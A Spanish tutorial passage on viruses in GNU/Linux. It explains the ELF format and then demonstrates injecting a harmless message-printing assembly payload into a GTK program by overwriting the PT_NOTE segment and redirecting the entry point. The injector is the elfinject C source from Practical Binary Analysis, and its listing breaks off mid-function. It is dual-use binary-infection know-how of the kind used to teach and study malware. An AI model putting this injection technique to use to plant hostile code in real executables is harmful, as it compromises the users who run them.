Virus en GNU/Linux: Binarios ELF

Los virus informáticos son programas con capacidad de auto-replicación que se adjuntan a otros programas y habitualmente requieren de la intervención humana para su propagación. Aunque este tipo de malware a sido mayoritariamente creado primero para MS/DOS y posteriormente para plataformas Windows es posible su creación para cualquier sistema operativo, incluido GNU/Linux.

La mayoritaria presencia de virus en plataformas Windows ha llevado en ocasiones a pensar que este tipo de malware no afecta a sistemas operativos de la rama UNIX, como GNU/Linux, pero como vamos a ver este tipo de código está presente en todas las plataformas.

Los primeros virus informáticos aparecieron a principios de los 80 para los computadores Apple II.  Aunque existían anteriormente algunos códigos como Darwin de 1962, que se era un juego destinado a sobrevivir en memoria, replicandose y luchando con otros códigos, no es hasta 1981 con la creación de Elk Cloner para Apple II cuando aparecen códigos como los que hoy conocemos como virus informáticos.

Los virus en entornos UNIX llevan funcionando desde principios de los 90. Se considera a Silvio Cesare y los trabajos que publicó sobre los métodos de infección en ejecutables ELF (publicados desde principios de los 90) como el padre de los virus en entornos UNIX

Los métodos que publicó Silvio Cesare continúan usándose en la actualidad y fue el primero en describir técnicas de infección de ejecutables como la redirección PLT/GOT, infecciones de relleno del segmento text, inyección de código reubicable, infección del segmento data o secuestro de funciones kernel.

En MS/DOS los virus podían infectar el sector de arranque de los disquetes, o alguno de los ficheros ejecutables .com o .exe. Hablar de virus en GNU/Linux es hablar de ELF, o el formato de ejecutables de GNU/Linux, por tanto vamos a ver primero en que consiste este formato.

Formato ELF

El Executable and Linkable Format (ELF) es el formato binario por defecto en los sistemas basados en GNU/LinuxELF se usa en ficheros ejecutables, ficheros objeto, librerías compartidas, y core dumps.

Los ejecutables ELF se componen principalmente de cuatro tipos de componentes:

  • Encabezado ejecutable
  • Encabezados de programa (solo en ejecutables)
  • Secciones
  • Encabezados de secciones (opcional)

Binario ELF

Para determinar si un fichero es un ejecutable (y el tipo de ejecutable) podemos usar diferentes herramientas, la más sencilla file:

❯ file /usr/bin/ping
/usr/bin/ping: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7e20c8bbbcf57159cb93bc4cb3bb5a58978fde5a, for GNU/Linux 3.2.0, stripped

Como vemos nos muestra que se trata de un ejecutable ELF de 64-bit. Otra opción es usar objdump:

❯ objdump -f /usr/bin/ping

/usr/bin/ping:     formato del fichero elf64-x86-64
arquitectura: i386:x86-64, opciones 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
dirección de inicio 0x0000000000004800

Si queremos ver información más detallada del fichero podemos mostrar el encabezado del ejecutable usando readelf:

❯ readelf -h /usr/bin/ping
Encabezado ELF:
  Mágico:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Clase:                             ELF64
  Datos:                             complemento a 2, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Versión ABI:                       0
  Tipo:                              DYN (Fichero objeto compartido)
  Máquina:                           Advanced Micro Devices X86-64
  Versión:                           0x1
  Dirección del punto de entrada:               0x4800
  Inicio de encabezados de programa:          64 (bytes en el fichero)
  Inicio de encabezados de sección:          70920 (bytes en el fichero)
  Opciones:                          0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28

En este caso nos muestra la representación de la estructura Elf64_Ehdr que vemos en la imagen del binario ELF 64 bit mostrada más arriba, que además del tipo de ejecutable y versión, tenemos el inicio y fin de los diferentes componentes y la dirección del punto de entrada del ejecutable, que es donde el interprete que carga la aplicación (normalmente ld-linux.so) transferirá el control cuando finalice la carga del binario en la memoria virtual.

Como vemos en la imagen los archivos ELF tiene dos vistas: los encabezados de sección y los encabezados de programa.

  • Los encabezados de sección enumeran el conjunto de secciones del binario. Esta tabla existe para referenciar la localización y tamaño de las secciones y se usa principalmente por el linkador y en tareas de depuración. Estos encabezados de programa no son necesarios para la ejecución del programa y en algunas ocasiones son eliminados directamente del binario
  • Los encabezados de programa muestran los segmentos de código o datos utilizados en tiempo de ejecución. Esta es la organización del ejecutable que se utilizará para cargar y ejecutar el binario en un proceso. Un segmento ELF engloba cero o más secciones agrupándolas en una sola pieza

Las secciones de un binario ELF son una forma de organizan el ejecutable en una serie fragmentos estandarizados. Entre las secciones más importantes podemos destacar:

  • .init  .fini: Contienen código ejecutable que realiza tareas de inicialización o finalización respectivamente, necesarias antes o después de que se ejecute otro código
  • .text: Es el lugar donde reside el código principal del programa
  • .data: Sección para almacenar datos variables de la aplicación
  • .rodata: Sección de datos para almacenar valores constantes (read-only-data)
  • .bss: Sección para variables no inicializadas
  • .plt .got .got.plt: Contienen el código necesario para que el linkador dinámico pueda llamar a funciones importadas de librerías compartidas. Realiza lo que se denomina vinculación perezosa (lazy binding). Para conocer como funcionan estas secciones ver: Protección de ejecutables: RELRO
  • .rel.*: Contienen información usada por el linkador para realizar relocaciones, es decir, indica como partes de un objeto ELF o una imagen de proceso deben alterarse o modificarse en el momento de linkarse
  • .dynsym: Contiene información dinámica de símbolos importados de librerías compartidas  
  • .dynstr: Contiene una tabla de cadenas para símbolos dinámicos que tiene el nombre de cada símbolo en una serie de cadenas terminadas en nulo
  • .symtab: Contiene una tabla de símbolos que asocia un nombre simbólico con una porción de código o datos en cualquier parte del binario
  • .strtab: Contiene una tabla de cadenas con los nombres simbólicos
  • .shstrtab: Es una tabla de cadenas terminadas en null con los nombres de cada sección 

Para mostrar las cabeceras de sección y segmento podemos utilizaz readelf.

Para mostrar las cabeceras de sección:

❯ readelf -S /usr/bin/ping
There are 29 section headers, starting at offset 0x11508:

Encabezados de Sección:
  [Nr] Nombre            Tipo             Dirección         Despl
       Tamaño            TamEnt           Opts   Enl   Info  Alin
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000000318  00000318
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.gnu.propert NOTE             0000000000000338  00000338
       0000000000000020  0000000000000000   A       0     0     8
  [ 3] .note.gnu.build-i NOTE             0000000000000358  00000358
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .note.ABI-tag     NOTE             000000000000037c  0000037c
       0000000000000020  0000000000000000   A       0     0     4
  [ 5] .gnu.hash         GNU_HASH         00000000000003a0  000003a0
       0000000000000038  0000000000000000   A       6     0     8
  [ 6] .dynsym           DYNSYM           00000000000003d8  000003d8
       00000000000009c0  0000000000000018   A       7     1     8
  [ 7] .dynstr           STRTAB           0000000000000d98  00000d98
       000000000000049a  0000000000000000   A       0     0     1
  [ 8] .gnu.version      VERSYM           0000000000001232  00001232
       00000000000000d0  0000000000000002   A       6     0     2
  [ 9] .gnu.version_r    VERNEED          0000000000001308  00001308
       00000000000000c0  0000000000000000   A       7     3     8
  [10] .rela.dyn         RELA             00000000000013c8  000013c8
       0000000000000510  0000000000000018   A       6     0     8
  [11] .rela.plt         RELA             00000000000018d8  000018d8
       00000000000008d0  0000000000000018  AI       6    24     8
  [12] .init             PROGBITS         0000000000003000  00003000
       000000000000001b  0000000000000000  AX       0     0     4
  [13] .plt              PROGBITS         0000000000003020  00003020
       00000000000005f0  0000000000000010  AX       0     0     16
  [14] .plt.got          PROGBITS         0000000000003610  00003610
       0000000000000010  0000000000000010  AX       0     0     16
  [15] .plt.sec          PROGBITS         0000000000003620  00003620
       00000000000005e0  0000000000000010  AX       0     0     16
  [16] .text             PROGBITS         0000000000003c00  00003c00
       0000000000008f22  0000000000000000  AX       0     0     16
  [17] .fini             PROGBITS         000000000000cb24  0000cb24
       000000000000000d  0000000000000000  AX       0     0     4
  [18] .rodata           PROGBITS         000000000000d000  0000d000
       00000000000021b4  0000000000000000   A       0     0     32
  [19] .eh_frame_hdr     PROGBITS         000000000000f1b4  0000f1b4
       0000000000000274  0000000000000000   A       0     0     4
  [20] .eh_frame         PROGBITS         000000000000f428  0000f428
       0000000000000f28  0000000000000000   A       0     0     8
  [21] .init_array       INIT_ARRAY       0000000000011a80  00010a80
       0000000000000008  0000000000000008  WA       0     0     8
  [22] .fini_array       FINI_ARRAY       0000000000011a88  00010a88
       0000000000000008  0000000000000008  WA       0     0     8
  [23] .dynamic          DYNAMIC          0000000000011a90  00010a90
       0000000000000230  0000000000000010  WA       7     0     8
  [24] .got              PROGBITS         0000000000011cc0  00010cc0
       0000000000000340  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000012000  00011000
       00000000000003c0  0000000000000000  WA       0     0     32
  [26] .bss              NOBITS           00000000000123c0  000113c0
       0000000000023898  0000000000000000  WA       0     0     32
  [27] .gnu_debuglink    PROGBITS         0000000000000000  000113c0
       0000000000000034  0000000000000000           0     0     4
  [28] .shstrtab         STRTAB           0000000000000000  000113f4
       0000000000000110  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Para ver las cabeceras de programa (segmentos):

❯ readelf --segments /usr/bin/ping

El tipo del fichero elf es DYN (Fichero objeto compartido)
Entry point 0x4800
There are 13 program headers, starting at offset 64

Encabezados de Programa:
  Tipo           Desplazamiento     DirVirtual         DirFísica
                 TamFichero         TamMemoria          Opts   Alineación
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000002d8 0x00000000000002d8  R      0x8
  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000021a8 0x00000000000021a8  R      0x1000
  LOAD           0x0000000000003000 0x0000000000003000 0x0000000000003000
                 0x0000000000009b31 0x0000000000009b31  R E    0x1000
  LOAD           0x000000000000d000 0x000000000000d000 0x000000000000d000
                 0x0000000000003350 0x0000000000003350  R      0x1000
  LOAD           0x0000000000010a80 0x0000000000011a80 0x0000000000011a80
                 0x0000000000000940 0x00000000000241d8  RW     0x1000
  DYNAMIC        0x0000000000010a90 0x0000000000011a90 0x0000000000011a90
                 0x0000000000000230 0x0000000000000230  RW     0x8
  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000020 0x0000000000000020  R      0x8
  NOTE           0x0000000000000358 0x0000000000000358 0x0000000000000358
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000020 0x0000000000000020  R      0x8
  GNU_EH_FRAME   0x000000000000f1b4 0x000000000000f1b4 0x000000000000f1b4
                 0x0000000000000274 0x0000000000000274  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000010a80 0x0000000000011a80 0x0000000000011a80
                 0x0000000000000580 0x0000000000000580  R      0x1

 mapeo de Sección a Segmento:
  Segmento Secciones...
   00     
   01     .interp
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
   03     .init .plt .plt.got .plt.sec .text .fini
   04     .rodata .eh_frame_hdr .eh_frame
   05     .init_array .fini_array .dynamic .got .data .bss
   06     .dynamic
   07     .note.gnu.property
   08     .note.gnu.build-id .note.ABI-tag
   09     .note.gnu.property
   10     .eh_frame_hdr
   11     
   12     .init_array .fini_array .dynamic .got

Infección de binarios ELF

Para infectar un binario ELF es necesario dos cosas, primero adjuntar el código principal del virus al fichero, modificando el código existente del binario, anexando nuevo código o usando ambas opciones. Luego tenemos que cambiar el flujo de ejecución del ejecutable para que ejecute este código. Cada fichero ejecutable tiene un control de flujo o un path de ejecución. El objetivo de un virus ELF es interferir el control de flujo de ejecución de la aplicación para ejecutar el código parásito y posteriormente continuar la ejecución normal de la aplicación.  

Es posible modificar directamente el código de un programa como podemos hacer usando por ejemplo un editor hexadecimal. Esto nos permite realizar algunas modificaciones de funcionalidad básicas, pero es una opción muy limitada. Otra opción sencilla de alterar la ejecución de un ejecutable es alterar la carga de librerías compartidas usando LD_PRELOAD. Esta variable de entorno nos permite indicar que un ejecutable usara una determinada librería. De esta forma podemos sobrescribir por ejemplo funciones de la librería libc con nuestro propio código. Luego veremos una forma similar de hacer esto un poco más elaborada.

Vamos a ver como inyectar una sección en un binario ELF y modificar el flujo de ejecución para llamar al código.

Para crear la nueva sección añadimos el código al final del fichero y posteriormente tenemos que crear una cabecera de sección y una cabecera de programa para la nueva sección. Como podemos ver en la imagen de binarios ELF las cabeceras de programa se encuentra justo después de la cabecera del ejecutable. Para evitar la complejidad de reubicar secciones y cabeceras al incrustar nuestra nueva cabecera, una opción mucho más sencilla es sobrescribir una cabecera existente. Aunque las cabeceras de sección se encuentran al final del fichero y es posible por tanto añadir una nueva sin modificar el resto vamos a modificar también una existente.

Podemos utilizar cualquier código de aplicación base a la que le vamos a inyectar una nueva sección. Voy a utilizar el código básico de una aplicación GNOME que vimos en GNOME - Infraestructura de desarrollo:

/*  
 * holagtkc.c 
 * 
 * (c) Author: David Quiroga 
 * e-mail: david [at] clibre [dot] io 
 *  
 **************************************************************** 
 * Descripción: 
 * 
 * 'Hola mundo' en GTK  
 *  
 * SPDX-License-Identifier: GPL-3.0 
 */ 
 
#include <gtk/gtk.h> 
 
static void 
funcion_button (GtkWidget *widget, 
             gpointer data) 
{ 
    static gboolean hola = TRUE; 
    if(hola == TRUE) { 
        gtk_button_set_label (GTK_BUTTON(widget), "Hola Mundo!"); 
        hola = FALSE; 
    } else { 
        gtk_button_set_label (GTK_BUTTON(widget), "Desde clibre.io"); 
        hola = TRUE;  
    }  
} 
 
static void 
activate (GtkApplication *app, 
            gpointer user_data) 
{ 
    GtkWidget *window; 
    GtkWidget *button; 
    GtkWidget *btsalir;  
    GtkWidget *button_box; 
 
    window = gtk_application_window_new (app); 
    gtk_window_set_title (GTK_WINDOW (window), "Hola GTK"); 
    gtk_window_set_default_size (GTK_WINDOW (window), 350, 140); 
 
    button_box = gtk_button_box_new (GTK_ORIENTATION_VERTICAL); 
    gtk_button_box_set_layout (GTK_BUTTON_BOX(button_box), GTK_BUTTONBOX_EXPAND); 
    gtk_container_add (GTK_CONTAINER (window), button_box); 
 
    button = gtk_button_new_with_label ("Desde clibre.io"); 
    btsalir = gtk_button_new_with_label ("Salir"); 
    g_signal_connect (button, "clicked", G_CALLBACK (funcion_button), NULL); 
    g_signal_connect_swapped (btsalir, "clicked", G_CALLBACK (gtk_widget_destroy), window); 
    gtk_container_add (GTK_CONTAINER (button_box), button); 
    gtk_container_add (GTK_CONTAINER (button_box), btsalir);  
 
    gtk_widget_show_all (window); 
} 
 
int 
main (int argc, 
        char **argv) 
{ 
    GtkApplication *app; 
    int status; 
 
    app = gtk_application_new ("org.comunidadlibre.appc", G_APPLICATION_FLAGS_NONE); 
    g_signal_connect (app, "activate", G_CALLBACK (activate), NULL); 
    status = g_application_run (G_APPLICATION (app), argc, argv); 
    g_object_unref (app); 
 
    return status; 
} 

Al compilar le indico a GCC que no utilice PIE, de esta forma el punto de entrada no es dinamico:

gcc -Wall -g -no-pie `pkg-config --cflags gtk+-3.0` holagtkc.c -o holagtkc `pkg-config --libs gtk+-3.0`

El segmento que vamos a sobrescribir es PT_NOTE. Este segmento contienen información auxiliar del binario y por tanto podemos sobrescribirlo de forma segura sin modificar su funcionamiento. Si mostramos los segmentos con readelf podemos ver que secciones corresponden a este segmento:

$ readelf --segments ./holagtkc

El tipo del fichero elf es EXEC (Fichero ejecutable)
Entry point 0x400b80
There are 9 program headers, starting at offset 64

Encabezados de Programa:
  Tipo           Desplazamiento     DirVirtual         DirFísica
                 TamFichero         TamMemoria          Opts   Alineación
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R      0x8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000001188 0x0000000000001188  R E    0x200000
  LOAD           0x0000000000001dd8 0x0000000000601dd8 0x0000000000601dd8
                 0x00000000000002ec 0x00000000000002f0  RW     0x200000
  DYNAMIC        0x0000000000001de8 0x0000000000601de8 0x0000000000601de8
                 0x0000000000000200 0x0000000000000200  RW     0x8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x0000000000000ff8 0x0000000000400ff8 0x0000000000400ff8
                 0x000000000000004c 0x000000000000004c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000001dd8 0x0000000000601dd8 0x0000000000601dd8
                 0x0000000000000228 0x0000000000000228  R      0x1

 mapeo de Sección a Segmento:
  Segmento Secciones...
   00     
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07     
   08     .init_array .fini_array .dynamic .got

Como vemos, tenemos dos secciones correspondientes al secmento PT_NOTE.note.ABI-tag y .note.gnu.build-id. Estas secciones podemos sobrescribirlas, el programa utilizará información por defecto y no tendremos riesgo de romper el binario.  

Ahora vamos a ver el código del payload que queremos incrustar en el binario. Para el ejemplo voy a usar un código en ensamblador que tan solo salva los registros, muestra una frase, restaura los registros y salta al punto de entrada:

BITS 64 
 
SECTION .text 
global main 
  
main: 
    push rax ; guardamos registros 
    push rcx  
    push rdx 
    push rsi 
    push rdi 
    push r11 
 
    mov rax,1 ; sys_write 
    mov rdi,1 ; stdout 
    lea rsi,[rel $+frase-$] ; frase 
    mov rdx,[rel $+len-$] ; len 
    syscall 
 
    pop r11 ; restauramos registros 
    pop rdi 
    pop rsi 
    pop rdx 
    pop rcx 
    pop rax 
 
    push 0x400b80 ; salto al punto de entrada 
    ret 
 
frase: db "Ejecutando payload",33,10 
len : dd 20 

Para conocer el punto de entrada que tenemos que usar en el código utilizamos readelf:

$ readelf -h ./holagtkc |grep 'punto de entrada'
  Dirección del punto de entrada:               0x400b80

Compilamos el payload:

$ nasm -f bin -o pcode.bin pcode.s

Ahora vamos a utilizar la aplicación elfinject desarrollada por Dennis Andriesse (Practical Binary Analysis) para anexar el código, modificar las cabeceras y el punto de entrada:

/*  
    Dennis Andriesse - Practical Binary Analysis 
*/ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <stdint.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <stdarg.h> 
#include <getopt.h> 
#include <gelf.h> 
#include <libelf.h> 
 
#define ABITAG_NAME ".note.ABI-tag" 
#define SHSTRTAB_NAME ".shstrtab" 
 
typedef struct { 
    int fd; /* file descriptor */ 
    Elf *e; /* main elf descriptor */ 
    int bits; /* 32-bit or 64-bit */ 
    GElf_Ehdr ehdr; /* executable header */ 
} elf_data_t; 
 
typedef struct { 
    size_t pidx; /* index of program header to overwrite */ 
    GElf_Phdr phdr; /* program header to overwrite */ 
    size_t sidx; /* index of section header to overwrite */ 
    Elf_Scn *scn; /* section to overwrite */ 
    GElf_Shdr shdr; /* section header to overwrite */ 
    off_t shstroff; /* offset to section name to overwrite */ 
    char *code; /* code to inject */ 
    size_t len; /* number of code bytes */ 
    long entry; /* code buffer offset to entry point (-1 for none) */ 
    off_t off; /* file offset to injected code */ 
    size_t secaddr; /* section address for injected code */ 
    char *secname; /* section name for injected code */ 
} inject_data_t; 
 
 
int 
write_code(elf_data_t *elf, inject_data_t *inject) 
{ 
    off_t off; 
    size_t n; 
 
    off = lseek(elf->fd, 0, SEEK_END); 
    if(off < 0) { 
    fprintf(stderr, "lseek failed\n"); 
    return -1; 
    } 
 
    n = write(elf->fd, inject->code, inject->len); 
    if(n != inject->len) { 
    fprintf(stderr, "Failed to inject code bytes\n"); 
    return -1; 
    } 
    inject->off = off; 
 
    return 0; 
} 
 
 
int 
write_ehdr(elf_data_t *elf) 
{ 
    off_t off; 
    size_t n, ehdr_size; 
    void *ehdr_buf; 
 
    if(!gelf_update_ehdr(elf->e, &elf->ehdr)) { 
    fprintf(stderr, "Failed to update executable header\n"); 
    return -1; 
    } 
 
    if(elf->bits == 32) { 
    ehdr_buf = elf32_getehdr(elf->e); 
    ehdr_size = sizeof(Elf32_Ehdr); 
    } else { 
    ehdr_buf = elf64_getehdr(elf->e); 
    ehdr_size = sizeof(Elf64_Ehdr); 
    } 
 
    if(!ehdr_buf) { 
    fprintf(stderr, "Failed to get executable header\n"); 
    return -1; 
    } 
 
    off = lseek(elf->fd, 0, SEEK_SET); 
    if(off < 0) { 
    fprintf(stderr, "lseek failed\n"); 
    return -1; 
    } 
 
    n = write(elf->fd, ehdr_buf, ehdr_size); 
    if(n != ehdr_size) { 
    fprintf(stderr, "Failed to write executable header\n"); 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
write_phdr(elf_data_t *elf, inject_data_t *inject) 
{ 
    off_t off; 
    size_t n, phdr_size; 
    Elf32_Phdr *phdr_list32; 
    Elf64_Phdr *phdr_list64; 
    void *phdr_buf; 
 
    if(!gelf_update_phdr(elf->e, inject->pidx, &inject->phdr)) { 
    fprintf(stderr, "Failed to update program header\n"); 
    return -1; 
    } 
 
    phdr_buf = NULL; 
    if(elf->bits == 32) { 
    phdr_list32 = elf32_getphdr(elf->e); 
    if(phdr_list32) { 
        phdr_buf = &phdr_list32[inject->pidx]; 
        phdr_size = sizeof(Elf32_Phdr); 
    } 
    } else { 
    phdr_list64 = elf64_getphdr(elf->e); 
    if(phdr_list64) { 
        phdr_buf = &phdr_list64[inject->pidx]; 
        phdr_size = sizeof(Elf64_Phdr); 
    } 
    } 
    if(!phdr_buf) { 
    fprintf(stderr, "Failed to get program header\n"); 
    return -1; 
    } 
 
    off = lseek(elf->fd, elf->ehdr.e_phoff + inject->pidx*elf->ehdr.e_phentsize, SEEK_SET); 
    if(off < 0) { 
    fprintf(stderr, "lseek failed\n"); 
    return -1; 
    } 
 
    n = write(elf->fd, phdr_buf, phdr_size); 
    if(n != phdr_size) { 
    fprintf(stderr, "Failed to write program header\n"); 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
write_shdr(elf_data_t *elf, Elf_Scn *scn, GElf_Shdr *shdr, size_t sidx) 
{ 
    off_t off; 
    size_t n, shdr_size; 
    void *shdr_buf; 
 
    if(!gelf_update_shdr(scn, shdr)) { 
    fprintf(stderr, "Failed to update section header\n"); 
    return -1; 
    } 
 
    if(elf->bits == 32) { 
    shdr_buf = elf32_getshdr(scn); 
    shdr_size = sizeof(Elf32_Shdr); 
    } else { 
    shdr_buf = elf64_getshdr(scn); 
    shdr_size = sizeof(Elf64_Shdr); 
    } 
 
    if(!shdr_buf) { 
    fprintf(stderr, "Failed to get section header\n"); 
    return -1; 
    } 
 
    off = lseek(elf->fd, elf->ehdr.e_shoff + sidx*elf->ehdr.e_shentsize, SEEK_SET); 
    if(off < 0) { 
    fprintf(stderr, "lseek failed\n"); 
    return -1; 
    } 
     
    n = write(elf->fd, shdr_buf, shdr_size); 
    if(n != shdr_size) { 
    fprintf(stderr, "Failed to write section header\n"); 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
reorder_shdrs(elf_data_t *elf, inject_data_t *inject) 
{ 
    int direction, skip; 
    size_t i; 
    Elf_Scn *scn; 
    GElf_Shdr shdr; 
 
    direction = 0; 
 
    scn = elf_getscn(elf->e, inject->sidx - 1); 
    if(scn && !gelf_getshdr(scn, &shdr)) { 
    fprintf(stderr, "Failed to get section header\n"); 
    return -1; 
    } 
 
    if(scn && shdr.sh_addr > inject->shdr.sh_addr) { 
    /* Injected section header must be moved left */ 
    direction = -1; 
    } 
 
    scn = elf_getscn(elf->e, inject->sidx + 1); 
    if(scn && !gelf_getshdr(scn, &shdr)) { 
    fprintf(stderr, "Failed to get section header\n"); 
    return -1; 
    } 
 
    if(scn && shdr.sh_addr < inject->shdr.sh_addr) { 
    /* Injected section header must be moved right */ 
    direction = 1; 
    } 
 
    if(direction == 0) { 
    /* Section headers are already in order */ 
    return 0; 
    } 
 
    i = inject->sidx; 
 
    /* Order section headers by increasing address */ 
    skip = 0; 
    for(scn = elf_getscn(elf->e, inject->sidx + direction);  
        scn != NULL; 
        scn = elf_getscn(elf->e, inject->sidx + direction + skip)) { 
 
    if(!gelf_getshdr(scn, &shdr)) { 
        fprintf(stderr, "Failed to get section header\n"); 
        return -1; 
    } 
 
    if((direction < 0 && shdr.sh_addr <= inject->shdr.sh_addr) 
        || (direction > 0 && shdr.sh_addr >= inject->shdr.sh_addr)) { 
        /* The order is okay from this point on */ 
        break; 
    } 
 
    /* Only reorder code section headers */ 
    if(shdr.sh_type != SHT_PROGBITS) { 
        skip += direction; 
        continue; 
    } 
 
    /* Swap the injected shdr with its neighbor PROGBITS header */ 
    if(write_shdr(elf, scn, &inject->shdr, elf_ndxscn(scn)) < 0) { 
        return -1; 
    } 
 
    if(write_shdr(elf, inject->scn, &shdr, inject->sidx) < 0) { 
        return -1; 
    } 
 
    inject->sidx += direction + skip; 
    inject->scn = elf_getscn(elf->e, inject->sidx); 
    skip = 0; 
    } 
 
    return 0; 
} 
 
 
int 
write_secname(elf_data_t *elf, inject_data_t *inject) 
{ 
    off_t off; 
    size_t n; 
 
    off = lseek(elf->fd, inject->shstroff, SEEK_SET); 
    if(off < 0) { 
    fprintf(stderr, "lseek failed\n"); 
    return -1; 
    } 
     
    n = write(elf->fd, inject->secname, strlen(inject->secname)); 
    if(n != strlen(inject->secname)) { 
    fprintf(stderr, "Failed to write section name\n"); 
    return -1; 
    } 
 
    n = strlen(ABITAG_NAME) - strlen(inject->secname); 
    while(n > 0) { 
    if(!write(elf->fd, "\0", 1)) { 
        fprintf(stderr, "Failed to write section name\n"); 
        return -1; 
    } 
    n--; 
    } 
 
    return 0; 
} 
 
 
int 
find_rewritable_segment(elf_data_t *elf, inject_data_t *inject) 
{ 
    int ret; 
    size_t i, n; 
 
    ret = elf_getphdrnum(elf->e, &n); 
    if(ret != 0) { 
    fprintf(stderr, "Cannot find any program headers\n"); 
    return -1; 
    } 
 
    for(i = 0; i < n; i++) { 
    if(!gelf_getphdr(elf->e, i, &inject->phdr)) { 
        fprintf(stderr, "Failed to get program header\n"); 
        return -1; 
    } 
 
    switch(inject->phdr.p_type) { 
    case PT_NOTE: 
        inject->pidx = i; 
        return 0; 
    default: 
        break; 
    } 
    } 
 
    fprintf(stderr, "Cannot find segment to rewrite\n"); 
    return -1; 
} 
 
 
int 
rewrite_code_segment(elf_data_t *elf, inject_data_t *inject) 
{ 
    inject->phdr.p_type = PT_LOAD; /* type */ 
    inject->phdr.p_offset = inject->off; /* file offset to start of segment */ 
    inject->phdr.p_vaddr = inject->secaddr; /* virtual address to load segment at */ 
    inject->phdr.p_paddr = inject->secaddr; /* physical address to load segment at */ 
    inject->phdr.p_filesz = inject->len; /* byte size in file */ 
    inject->phdr.p_memsz = inject->len; /* byte size in memory */ 
    inject->phdr.p_flags = PF_R | PF_X; /* flags */ 
    inject->phdr.p_align = 0x1000; /* alignment in memory and file */ 
 
    if(write_phdr(elf, inject) < 0) { 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
rewrite_code_section(elf_data_t *elf, inject_data_t *inject) 
{ 
    Elf_Scn *scn; 
    GElf_Shdr shdr; 
    char *s; 
    size_t shstrndx; 
 
    if(elf_getshdrstrndx(elf->e, &shstrndx) < 0) { 
    fprintf(stderr, "Failed to get string table section index\n"); 
    return -1; 
    } 
 
    scn = NULL; 
    while((scn = elf_nextscn(elf->e, scn))) { 
    if(!gelf_getshdr(scn, &shdr)) { 
        fprintf(stderr, "Failed to get section header\n"); 
        return -1; 
    } 
    s = elf_strptr(elf->e, shstrndx, shdr.sh_name); 
    if(!s) { 
        fprintf(stderr, "Failed to get section name\n"); 
        return -1; 
    } 
 
    if(!strcmp(s, ABITAG_NAME)) { 
        shdr.sh_name = shdr.sh_name; /* offset into string table */ 
        shdr.sh_type = SHT_PROGBITS; /* type */ 
        shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR; /* flags */ 
        shdr.sh_addr = inject->secaddr; /* address to load section at */ 
        shdr.sh_offset = inject->off; /* file offset to start of section */ 
        shdr.sh_size = inject->len; /* size in bytes */ 
        shdr.sh_link = 0; /* not used for code section */ 
        shdr.sh_info = 0; /* not used for code section */ 
        shdr.sh_addralign = 16; /* memory alignment */ 
        shdr.sh_entsize = 0; /* not used for code section */ 
 
        inject->sidx = elf_ndxscn(scn); 
        inject->scn = scn; 
        memcpy(&inject->shdr, &shdr, sizeof(shdr)); 
 
        if(write_shdr(elf, scn, &shdr, elf_ndxscn(scn)) < 0) { 
        return -1; 
        } 
 
        if(reorder_shdrs(elf, inject) < 0) { 
        return -1; 
        } 
 
        break; 
    } 
    } 
    if(!scn) { 
    fprintf(stderr, "Cannot find section to rewrite\n"); 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
rewrite_section_name(elf_data_t *elf, inject_data_t *inject) 
{ 
    Elf_Scn *scn; 
    GElf_Shdr shdr; 
    char *s; 
    size_t shstrndx, stroff, strbase; 
 
